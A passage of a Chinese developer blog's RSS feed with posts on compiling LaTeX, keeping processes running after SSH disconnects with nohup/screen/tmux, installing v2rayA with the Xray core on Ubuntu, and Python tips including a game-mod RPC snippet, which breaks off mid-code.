&lt;p&gt;拿到了 .tex 文件，很多新手不知道怎么转成 PDF。这里提供两种方案。&lt;/p&gt;
&lt;h3&gt;方案 A：使用 Overleaf (推荐新手)&lt;/h3&gt;
&lt;p&gt;如果你不想在本地折腾环境，这是最简单的办法。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;把 quantum_paper_output 文件夹打包成一个 ZIP 压缩包。&lt;/li&gt;
&lt;li&gt;访问 Overleaf 并注册/登录。&lt;/li&gt;
&lt;li&gt;点击 &amp;quot;New Project&amp;quot; -&amp;gt; &amp;quot;Upload Project&amp;quot;。&lt;/li&gt;
&lt;li&gt;上传你的 ZIP 包。&lt;/li&gt;
&lt;li&gt;上传完成后，点击网页右侧的 Recompile 按钮，PDF 就出来了。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;方案 B：本地编译 (VS Code)&lt;/h3&gt;
&lt;p&gt;如果你是理工科学生，建议配置本地环境，一劳永逸。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;安装 TeX 发行版&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows: 安装 TeX Live (完整版很大) 或 MiKTeX。&lt;/li&gt;
&lt;li&gt;macOS: 安装 MacTeX。&lt;/li&gt;
&lt;li&gt;Linux: &lt;code&gt;sudo apt install texlive-full&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;安装 VS Code 插件&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在 VS Code 扩展商店搜索并安装 LaTeX Workshop。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;编译&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用 VS Code 打开 paper.tex。&lt;/li&gt;
&lt;li&gt;按 &lt;code&gt;Ctrl+Alt+B&lt;/code&gt; (Windows) 或 &lt;code&gt;Cmd+Option+B&lt;/code&gt; (Mac) 触发编译。&lt;/li&gt;
&lt;li&gt;或者点击右上角的播放小图标。&lt;/li&gt;
&lt;li&gt;编译成功后，点击右上角的查看图标即可预览 PDF。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;通过 Python 脚本&amp;quot;一口气&amp;quot;生成论文，不仅能保证数据准确，还能极大节省排版时间。你只需要专注于调整 Python 代码里的参数和 LaTeX 模板的文字描述，剩下的繁琐工作全部交给机器。&lt;/p&gt;
&lt;p&gt;这就是 AI 时代的写作业方式： &lt;strong&gt;Code is all you need&lt;/strong&gt; .&lt;/p&gt;
</content:encoded><dc:creator>LangQi99的博客</dc:creator><pubDate>Thu, 01 Jan 2026 00:00:00 GMT</pubDate></item><item><title>Linux SSH 断开后优雅保持程序运行方案记录 (nohup/screen/tmux)</title><link>https://langqi99.com/blog/linux-ssh-persist/</link><guid isPermaLink="true">https://langqi99.com/blog/linux-ssh-persist/</guid><description>记录在 Linux 服务器上运行耗时任务时，如何解决 SSH 断开导致程序终止的问题。对比 nohup、Screen 和 Tmux 的使用场景与配置。</description><content:encoded>&lt;blockquote&gt;For the best experience, please visit: &lt;a href=&quot;https://langqi99.com/blog/linux-ssh-persist/&quot;&gt;https://langqi99.com/blog/linux-ssh-persist/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;import Info from &amp;quot;../../components/mdx/Info.astro&amp;quot;;
import Warning from &amp;quot;../../components/mdx/Warning.astro&amp;quot;;
import Success from &amp;quot;../../components/mdx/Success.astro&amp;quot;;&lt;/p&gt;
&lt;h2&gt;背景&lt;/h2&gt;
&lt;p&gt;在 Linux 服务器上执行耗时任务（如模型训练、编译大项目、爬虫抓取）时，经常遇到 SSH 连接意外断开的情况。&lt;/p&gt;
&lt;p&gt;一旦 SSH 会话结束，系统会向该会话下的所有子进程发送 SIGHUP (Signal Hang Up) 信号。默认情况下，进程收到该信号会立即终止，导致任务中断，数据丢失。&lt;/p&gt;
&lt;p&gt;本文记录了三种常用的解决方案，分别适用于不同的场景。&lt;/p&gt;
&lt;h2&gt;方案一：nohup&lt;/h2&gt;
&lt;p&gt;如果任务逻辑简单，不需要中途进行交互（如输入密码、确认选项等），nohup 是最直接的方案。它通过忽略 SIGHUP 信号来保证程序后台运行。&lt;/p&gt;
&lt;h3&gt;1. 使用方法&lt;/h3&gt;
&lt;p&gt;命令格式为 &lt;code&gt;nohup [command] &amp;amp;&lt;/code&gt;。其中 &lt;code&gt;&amp;amp;&lt;/code&gt; 表示将任务放入后台执行。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 示例：后台运行 Python 脚本
nohup python main.py &amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 输出重定向&lt;/h3&gt;
&lt;p&gt;默认情况下，程序的标准输出（stdout）和错误输出（stderr）会被写入当前目录下的 &lt;code&gt;nohup.out&lt;/code&gt; 文件。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 实时查看运行日志
tail -f nohup.out
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以手动指定输出文件：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 将标准输出和错误输出都重定向到 my_log.txt
nohup python main.py &amp;gt; my_log.txt 2&amp;gt;&amp;amp;1 &amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;Warning&gt;
局限性：nohup 将程序的标准输入（stdin）重定向到了 /dev/null。这意味着如果程序在运行过程中需要用户输入（例如 input()），程序会因读取不到输入而抛出 EOFError 或挂起。
&lt;/Warning&gt;

&lt;h2&gt;方案二：Screen&lt;/h2&gt;
&lt;p&gt;screen 是 GNU 计划开发的一个终端多路复用器。它允许在一个 SSH 会话中创建多个虚拟终端窗口，即使 SSH 断开，窗口内的程序依然运行。&lt;/p&gt;
&lt;h3&gt;1. 基础操作&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 1. 创建一个名为 demo 的会话
screen -S demo

# 2. 在新窗口中执行命令
python main.py

# 3. 分离会话 (Detach)
# 快捷键：先按 Ctrl+a，松开后按 d
# 此时会返回原终端，程序在后台运行

# 4. 恢复会话 (Reattach)
screen -r demo
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 使用体验问题&lt;/h3&gt;
&lt;p&gt;Screen 是较早期的工具，默认配置在现代终端下体验一般：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;无法使用鼠标滚轮：直接滚动鼠标无法查看历史输出，会显示 &lt;code&gt;^[[A&lt;/code&gt; 等乱码。&lt;/li&gt;
&lt;li&gt;查看历史记录繁琐：需要按 &lt;code&gt;Ctrl+a&lt;/code&gt; 然后按 &lt;code&gt;[&lt;/code&gt; 进入 Copy mode，才能通过键盘翻页查看。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;方案三：Tmux (推荐)&lt;/h2&gt;
&lt;p&gt;tmux 是 screen 的现代替代品，采用 C/S 架构。相比 Screen，它在会话管理、分屏和配置灵活性上更好。&lt;/p&gt;
&lt;h3&gt;1. 开启鼠标支持&lt;/h3&gt;
&lt;p&gt;默认情况下 Tmux 也不支持鼠标滚动。为了解决查看日志不便的问题，需要修改配置文件。&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;~/.tmux.conf&lt;/code&gt; 中添加以下配置（如果没有该文件则新建）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 开启鼠标支持：允许点击切换窗口、拖动调整分屏大小、鼠标滚轮查看历史记录
echo &amp;quot;set -g mouse on&amp;quot; &amp;gt;&amp;gt; ~/.tmux.conf

# 重新加载配置使生效
tmux source-file ~/.tmux.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 常用操作指令&lt;/h3&gt;
&lt;h4&gt;会话管理&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 新建会话并指定名称
tmux new -s [session_name]

# 查看当前所有会话
tmux ls

# 恢复/连接到指定会话
tmux attach -t [session_name]

# 杀死/关闭会话
tmux kill-session -t [session_name]
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;快捷键操作 (默认前缀键为 Ctrl+b)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;分离会话 (Detach): &lt;code&gt;Ctrl+b&lt;/code&gt; -&amp;gt; &lt;code&gt;d&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;新建窗口: &lt;code&gt;Ctrl+b&lt;/code&gt; -&amp;gt; &lt;code&gt;c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;切换窗口: &lt;code&gt;Ctrl+b&lt;/code&gt; -&amp;gt; &lt;code&gt;0-9&lt;/code&gt; (或鼠标点击)&lt;/li&gt;
&lt;li&gt;分屏: &lt;code&gt;Ctrl+b&lt;/code&gt; -&amp;gt; &lt;code&gt;%&lt;/code&gt; (左右分屏) 或 &lt;code&gt;&amp;quot;&lt;/code&gt; (上下分屏)&lt;/li&gt;
&lt;/ul&gt;
&lt;Info&gt;
在开启 mouse on 后，选中文本即自动复制（在某些终端模拟器中需按住 Shift 键选择）。
&lt;/Info&gt;

&lt;h2&gt;总结&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;工具&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;th&gt;优点&lt;/th&gt;
&lt;th&gt;缺点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;nohup&lt;/td&gt;
&lt;td&gt;简单的非交互式脚本&lt;/td&gt;
&lt;td&gt;系统自带，命令简单&lt;/td&gt;
&lt;td&gt;无法中途交互，日志查看不便&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Screen&lt;/td&gt;
&lt;td&gt;旧系统或无需配置的环境&lt;/td&gt;
&lt;td&gt;稳定性高&lt;/td&gt;
&lt;td&gt;操作逻辑陈旧，不支持鼠标滚轮&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tmux&lt;/td&gt;
&lt;td&gt;长期开发、多任务管理&lt;/td&gt;
&lt;td&gt;功能强大，支持分屏与鼠标，配置灵活&lt;/td&gt;
&lt;td&gt;需要额外安装与简单配置&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;对于需要长期维护的服务器环境，建议配置好 &lt;code&gt;~/.tmux.conf&lt;/code&gt; 并使用 Tmux 作为默认工具。&lt;/p&gt;
</content:encoded><dc:creator>LangQi99的博客</dc:creator><pubDate>Mon, 29 Dec 2025 00:00:00 GMT</pubDate></item><item><title>为国内服务器安装 v2rayA 并配置 Xray 内核 (Ubuntu/Debian)</title><link>https://langqi99.com/blog/v2raya-xray-setup/</link><guid isPermaLink="true">https://langqi99.com/blog/v2raya-xray-setup/</guid><description>记录在无法科学上网的初始环境下，如何通过手动下载 .deb 包和配置 Xray 核心来成功部署 v2rayA，解决 Docker 方式不可用和官方源连接失败的问题。</description><content:encoded>&lt;blockquote&gt;For the best experience, please visit: &lt;a href=&quot;https://langqi99.com/blog/v2raya-xray-setup/&quot;&gt;https://langqi99.com/blog/v2raya-xray-setup/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;import Collapse from &amp;quot;../../components/mdx/Collapse.astro&amp;quot;;
import Info from &amp;quot;../../components/mdx/Info.astro&amp;quot;;
import Warning from &amp;quot;../../components/mdx/Warning.astro&amp;quot;;
import Success from &amp;quot;../../components/mdx/Success.astro&amp;quot;;&lt;/p&gt;
&lt;h2&gt;背景&lt;/h2&gt;
&lt;p&gt;最近在腾讯云的 Ubuntu 24.04 Server 上部署 v2rayA 时踩了不少坑。
主要的痛点在于：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Docker 方式不可用&lt;/strong&gt;：由于目前 Docker Hub 以及主流加速镜像在国内基本被墙，导致 &lt;code&gt;docker pull&lt;/code&gt; 直接超时。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;官方源无法连接&lt;/strong&gt;：v2rayA 的官方 apt 源因为 GPG 密钥下载失败（网络原因）无法添加。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;协议支持&lt;/strong&gt;：老版本的 V2Ray 核心不支持较新的协议（如 SS-2022），必须强制使用 Xray 内核。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本文记录了在无法&amp;quot;科学上网&amp;quot;的初始环境下，如何通过手动下载 .deb 包和配置 Xray 核心来成功把梯子搭起来。&lt;/p&gt;
&lt;h2&gt;环境信息&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OS&lt;/strong&gt;: Ubuntu 24.04 LTS (Noble Numbat)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;架构&lt;/strong&gt;: x86_64 (amd64)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;云服务商&lt;/strong&gt;: 腾讯云 (Tencent Cloud)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第一步：手动安装 v2rayA 面板&lt;/h2&gt;
&lt;p&gt;由于添加 apt 源失败，我们推荐手动安装。针对服务器网络极差的情况，推荐使用方法 B。&lt;/p&gt;
&lt;h3&gt;1. 下载安装包&lt;/h3&gt;
&lt;p&gt;注意区分架构，普通服务器通常是 x64 (amd64)，树莓派等是 arm64。&lt;/p&gt;
&lt;h4&gt;方法 A：服务器直接下载&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 进入临时目录
cd /tmp

# 下载 v2rayA 安装包 (使用 ghproxy 加速)
wget https://mirror.ghproxy.com/https://github.com/v2rayA/v2rayA/releases/download/v2.2.7.4/installer_debian_x64_2.2.7.4.deb
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;方法 B：本机下载上传&lt;/h4&gt;
&lt;p&gt;如果服务器下载总是超时，请在你的本地电脑（Mac/Windows/Linux）上下载好文件，然后通过 SSH (scp) 上传到服务器。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本机下载：&lt;/strong&gt;
在本地浏览器访问 GitHub 下载 .deb 包：&lt;a href=&quot;https://github.com/v2rayA/v2rayA/releases&quot;&gt;v2rayA Releases&lt;/a&gt; (找 installer_debian_x64_...deb)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;上传到服务器：&lt;/strong&gt;
打开本机终端，运行以下命令（假设文件在当前目录，上传到服务器 /tmp）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 语法：scp [本地文件] [用户]@[IP]:[目标路径]
scp installer_debian_x64_2.2.7.4.deb langqi@12.34.56.78:/tmp/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 安装&lt;/h3&gt;
&lt;p&gt;回到服务器终端，进入 /tmp 目录安装：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd /tmp
sudo apt install ./installer_debian_x64_2.2.7.4.deb
&lt;/code&gt;&lt;/pre&gt;
&lt;Warning&gt;
如果之前尝试过其他安装方式，建议先执行 `sudo apt purge v2raya` 清理一下。
&lt;/Warning&gt;

&lt;h3&gt;3. 启动服务&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo systemctl start v2raya
sudo systemctl enable v2raya
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时 v2rayA 面板已启动，但还没有&amp;quot;内核/引擎&amp;quot;，无法连接节点。&lt;/p&gt;
&lt;h2&gt;第二步：手动部署 Xray 内核&lt;/h2&gt;
&lt;p&gt;v2rayA 默认优先寻找 V2Ray 核心，但为了支持新协议，我们需要安装 Xray。&lt;/p&gt;
&lt;h3&gt;1. 下载 Xray Core&lt;/h3&gt;
&lt;p&gt;同样推荐在本机下载好后上传。&lt;/p&gt;
&lt;h4&gt;方法 A：服务器直接下载&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd /tmp
wget -O xray-linux-64.zip https://mirror.ghproxy.com/https://github.com/XTLS/Xray-core/releases/latest/download/Xray-linux-64.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;方法 B：本机下载上传&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;本机下载：&lt;/strong&gt;
在本地浏览器下载最新核心包：&lt;a href=&quot;https://github.com/XTLS/Xray-core/releases&quot;&gt;Xray-core Releases&lt;/a&gt; (下载 Xray-linux-64.zip)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;上传到服务器：&lt;/strong&gt;
在本机终端运行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;scp Xray-linux-64.zip langqi@12.34.56.78:/tmp/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;解压 (服务器端)：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 回到服务器终端
cd /tmp
sudo apt install unzip -y
# 解压到名为 xray-core 的文件夹中
unzip Xray-linux-64.zip -d xray-core
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 部署到系统目录&lt;/h3&gt;
&lt;p&gt;标准的二进制文件路径是 &lt;code&gt;/usr/local/bin&lt;/code&gt;，资源文件路径是 &lt;code&gt;/usr/local/share&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 1. 移动核心程序 (发动机)
sudo mv xray-core/xray /usr/local/bin/
sudo chmod +x /usr/local/bin/xray

# 2. 移动资源文件 (地图和站点库 geoip/geosite)
sudo mkdir -p /usr/local/share/xray
sudo mv xray-core/geoip.dat /usr/local/share/xray/
sudo mv xray-core/geosite.dat /usr/local/share/xray/

# 3. 清理垃圾
rm -rf Xray-linux-64.zip xray-core
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第三步：解决内核冲突与配置&lt;/h2&gt;
&lt;p&gt;这是一个关键点。v2rayA 的检测逻辑是：如果有 V2Ray，就用 V2Ray；如果没有，才去找 Xray。
如果在安装过程中不小心装了旧版 v2ray，或者 v2rayA 自动识别错误，都会导致连接失败。&lt;/p&gt;
&lt;h3&gt;1. 强制移除旧版 V2Ray&lt;/h3&gt;
&lt;p&gt;为了确保 v2rayA 只能用 Xray，我们把系统里可能存在的 V2Ray 删掉。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo rm /usr/local/bin/v2ray
sudo rm -rf /usr/local/share/v2ray
&lt;/code&gt;&lt;/pre&gt;
&lt;Info&gt;
如果 apt 安装过 v2ray，可以用 `sudo apt purge v2ray` 卸载
&lt;/Info&gt;

&lt;h3&gt;2. 重启服务&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo systemctl restart v2raya
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第四步：Web 端设置&lt;/h2&gt;
&lt;h3&gt;1. 放行端口&lt;/h3&gt;
&lt;p&gt;如果是云服务器（腾讯云/阿里云），记得去后台安全组放行 TCP 2017 端口。&lt;/p&gt;
&lt;h3&gt;2. 导入节点与连接&lt;/h3&gt;
&lt;p&gt;浏览器访问 &lt;code&gt;http://服务器IP:2017&lt;/code&gt;。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;创建管理员账号密码。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;导入订阅。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;导入订阅后，选择一个节点。注意：Xray 内核在 v2rayA 中目前不支持同时选择多个节点（负载均衡），请只选中一个节点，然后点击左上角的 &lt;strong&gt;Start&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;第五步：验证&lt;/h2&gt;
&lt;h3&gt;1. 正确的验证方式：Curl&lt;/h3&gt;
&lt;p&gt;在服务器终端验证代理是否生效（v2rayA 默认 HTTP 端口为 20172，SOCKS5 为 20170）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# -x 指定代理地址
curl -x http://127.0.0.1:20172 -I https://www.google.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果返回 &lt;code&gt;HTTP/1.1 200 Connection established&lt;/code&gt; 或 &lt;code&gt;200 OK&lt;/code&gt;，说明代理已通。&lt;/p&gt;
&lt;h3&gt;2. 经典误区：为什么 Ping 不通？&lt;/h3&gt;
&lt;p&gt;很多人配置好后习惯用 &lt;code&gt;ping google.com&lt;/code&gt; 测试，发现 100% 丢包，以为没配置好。&lt;/p&gt;
&lt;Warning&gt;
**原因**：Ping 使用的是 ICMP 协议，而普通的 HTTP/SOCKS 代理不转发 ICMP 包。

&lt;p&gt;&lt;strong&gt;结论&lt;/strong&gt;：永远不要用 Ping 来测试梯子，请使用 curl。
&lt;/Warning&gt;&lt;/p&gt;
&lt;h3&gt;3. 如何让终端命令（apt/docker/git）走代理？&lt;/h3&gt;
&lt;p&gt;如果在终端执行 &lt;code&gt;docker pull&lt;/code&gt; 或 &lt;code&gt;git clone&lt;/code&gt; 依然慢，是因为它们默认不走代理。你需要设置环境变量：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;临时生效（当前窗口）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;export http_proxy=http://127.0.0.1:20172
export https_proxy=http://127.0.0.1:20172
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;永久生效（写入 .bashrc）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;echo &amp;#39;export http_proxy=http://127.0.0.1:20172&amp;#39; &amp;gt;&amp;gt; ~/.bashrc
echo &amp;#39;export https_proxy=http://127.0.0.1:20172&amp;#39; &amp;gt;&amp;gt; ~/.bashrc
source ~/.bashrc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;设置后，再运行 &lt;code&gt;curl https://www.google.com&lt;/code&gt;（无需加 -x）即可直接访问。&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;在 Docker Hub 无法访问的当下，离线包 + 手动二进制部署 反而是最快、最稳的方法。关键在于理清 v2rayA（前端面板）和 Xray（后端核心）的关系，并利用国内可用的 GitHub 镜像加速下载。同时，切记不要用 Ping 验证代理。&lt;/p&gt;
</content:encoded><dc:creator>LangQi99的博客</dc:creator><pubDate>Mon, 29 Dec 2025 00:00:00 GMT</pubDate></item><item><title>Python 笔记：一些冷门但高效的设计巧思</title><link>https://langqi99.com/blog/python1/</link><guid isPermaLink="true">https://langqi99.com/blog/python1/</guid><description>一些冷门但高效的设计巧思</description><content:encoded>&lt;blockquote&gt;For the best experience, please visit: &lt;a href=&quot;https://langqi99.com/blog/python1/&quot;&gt;https://langqi99.com/blog/python1/&lt;/a&gt;&lt;/blockquote&gt; &lt;h2&gt;UniversalObject 万用对象&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;它是什么&lt;/strong&gt;：一个“万用/黑洞对象”。访问任意属性、调用任意方法、以任意参数调用，都不会报错，并且始终返回它自身。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;核心机制&lt;/strong&gt;：&lt;ul&gt;
&lt;li&gt;&lt;code&gt;__getattribute__&lt;/code&gt;：访问任意属性时直接返回对象自身。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__call__&lt;/code&gt;：把实例当函数调用时也返回对象自身。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;直接效果&lt;/strong&gt;：可无限链式调用，结果始终是原对象本身。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;class UniversalObject(object):
    &amp;quot;&amp;quot;&amp;quot; 万用对象 &amp;quot;&amp;quot;&amp;quot;
    def __init__(self):
        pass

    def __getattribute__(self, __name):
        return self

    def __call__(self, *args, **kwds):
        return self
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;行为示例&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;u = UniversalObject()
result = u.any.attr.or_method(1, x=2).more.calls
print(result is u)  # True
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;典型用途&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;测试替身/Mock&lt;/strong&gt;：替代复杂依赖，避免 &lt;code&gt;AttributeError&lt;/code&gt;/&lt;code&gt;TypeError&lt;/code&gt;，便于聚焦核心逻辑。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;空对象模式&lt;/strong&gt;：替代 &lt;code&gt;None&lt;/code&gt;，让调用方无需四处写空判断。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;functools.lru_cache 结果缓存&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;为纯函数结果做缓存，避免重复计算；&lt;code&gt;maxsize&lt;/code&gt; 控制缓存大小，&lt;code&gt;typed=True&lt;/code&gt; 区分不同类型的同值参数。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from functools import lru_cache

@lru_cache(maxsize=128)
def fib(n: int) -&amp;gt; int:
    return n if n &amp;lt; 2 else fib(n - 1) + fib(n - 2)

print(fib(6))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上述 &lt;code&gt;lru_cache&lt;/code&gt; 代码的工作过程如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;当你第一次调用 &lt;code&gt;fib(n)&lt;/code&gt; 时，函数会正常递归计算斐波那契数列，并把每个参数和结果存入缓存。  &lt;/li&gt;
&lt;li&gt;如果后续再次调用 &lt;code&gt;fib(n)&lt;/code&gt;，且参数 &lt;code&gt;n&lt;/code&gt; 之前已经算过，直接从缓存返回结果，不再递归计算。  &lt;/li&gt;
&lt;li&gt;&lt;code&gt;maxsize=128&lt;/code&gt; 表示最多缓存 128 个不同参数的结果。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;例如，&lt;code&gt;fib(6)&lt;/code&gt; 实际只会递归计算一次，后续再调用 &lt;code&gt;fib(6)&lt;/code&gt; 或更小的参数时，都会直接命中缓存，速度极快。&lt;/p&gt;
&lt;h2&gt;functools.singledispatch 单分派泛函数&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;基于“第一个参数类型”分派到相应实现；可在任意模块延后注册新类型的实现。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from functools import singledispatch

@singledispatch
def to_str(x) -&amp;gt; str:
    return f&amp;quot;obj:{x!r}&amp;quot;

@to_str.register
def _(x: int) -&amp;gt; str:
    return f&amp;quot;int:{x}&amp;quot;

@to_str.register
def _(x: list) -&amp;gt; str:
    return &amp;quot;list:&amp;quot; + &amp;quot;,&amp;quot;.join(map(str, x))

print(to_str(42))       # int:42
print(to_str([1,2,3]))  # list:1,2,3
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;globals() C/S架构RPC传输&lt;/h2&gt;
&lt;h3&gt;期望效果&lt;/h3&gt;
&lt;p&gt;服务端RPC传递以下代码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;ServerSystems.ClientRpc.RequestToClient(convert_operation(COLLECTION(
    GLOBALS()[&amp;quot;clientApi&amp;quot;].SetHudChatStackVisible(False),
    GLOBALS()[&amp;quot;clientApi&amp;quot;].RegisterUIAnimations(CommonUI.DEFINITION, True),
    GLOBALS()[&amp;quot;clientApi&amp;quot;].RegisterUI(CommonUI.NAMESPACE, CommonUI.KEY, GLOBALS()[&amp;quot;custom_ui_class_path&amp;quot;], CommonUI.SCREEN_DEF),
    GLOBALS().setitem(CommonUI.SCREEN_DEF, GLOBALS()[&amp;quot;clientApi&amp;quot;].CreateUI(CommonUI.NAMESPACE, CommonUI.KEY, {&amp;quot;isHud&amp;quot;: 1})),
    GLOBALS()[CommonUI.SCREEN_DEF].setattr(&amp;quot;GameComponent&amp;quot;, GLOBALS()[&amp;quot;clientApi&amp;quot;].GetEngineCompFactory().CreateGame(LevelId)),
    GLOBALS()[CommonUI.SCREEN_DEF].setattr(&amp;quot;AddChatMessage&amp;quot;, FUNCTION(COLLECTION(
        GLOBALS()[CommonUI.SCREEN_DEF].Clone(&amp;quot;/templates/chat_item&amp;quot;, &amp;quot;/chat_messages&amp;quot;, LOCALS()[&amp;quot;args&amp;quot;][0]),
        GLOBALS()[CommonUI.SCREEN_DEF].GetBaseUIControl(&amp;quot;/chat_messages/&amp;quot; + LOCALS()[&amp;quot;args&amp;quot;][0] + &amp;quot;/anchor/content&amp;quot;).asLabel().SetText(LOCALS()[&amp;quot;args&amp;quot;][1]),
        GLOBALS()[CommonUI.SCREEN_DEF].GameComponent.AddTimer(LOCALS()[&amp;quot;args&amp;quot;][2], GLOBALS()[CommonUI.SCREEN_DEF].RemoveComponent, &amp;quot;/chat_messages/&amp;quot; + LOCALS()[&amp;quot;args&amp;quot;][0], &amp;quot;/chat_messages&amp;quot;)
    ))),
    GLOBALS()[CommonUI.SCREEN_DEF].setattr(&amp;quot;AddDeathMessage&amp;quot;, FUNCTION(COLLECTION(
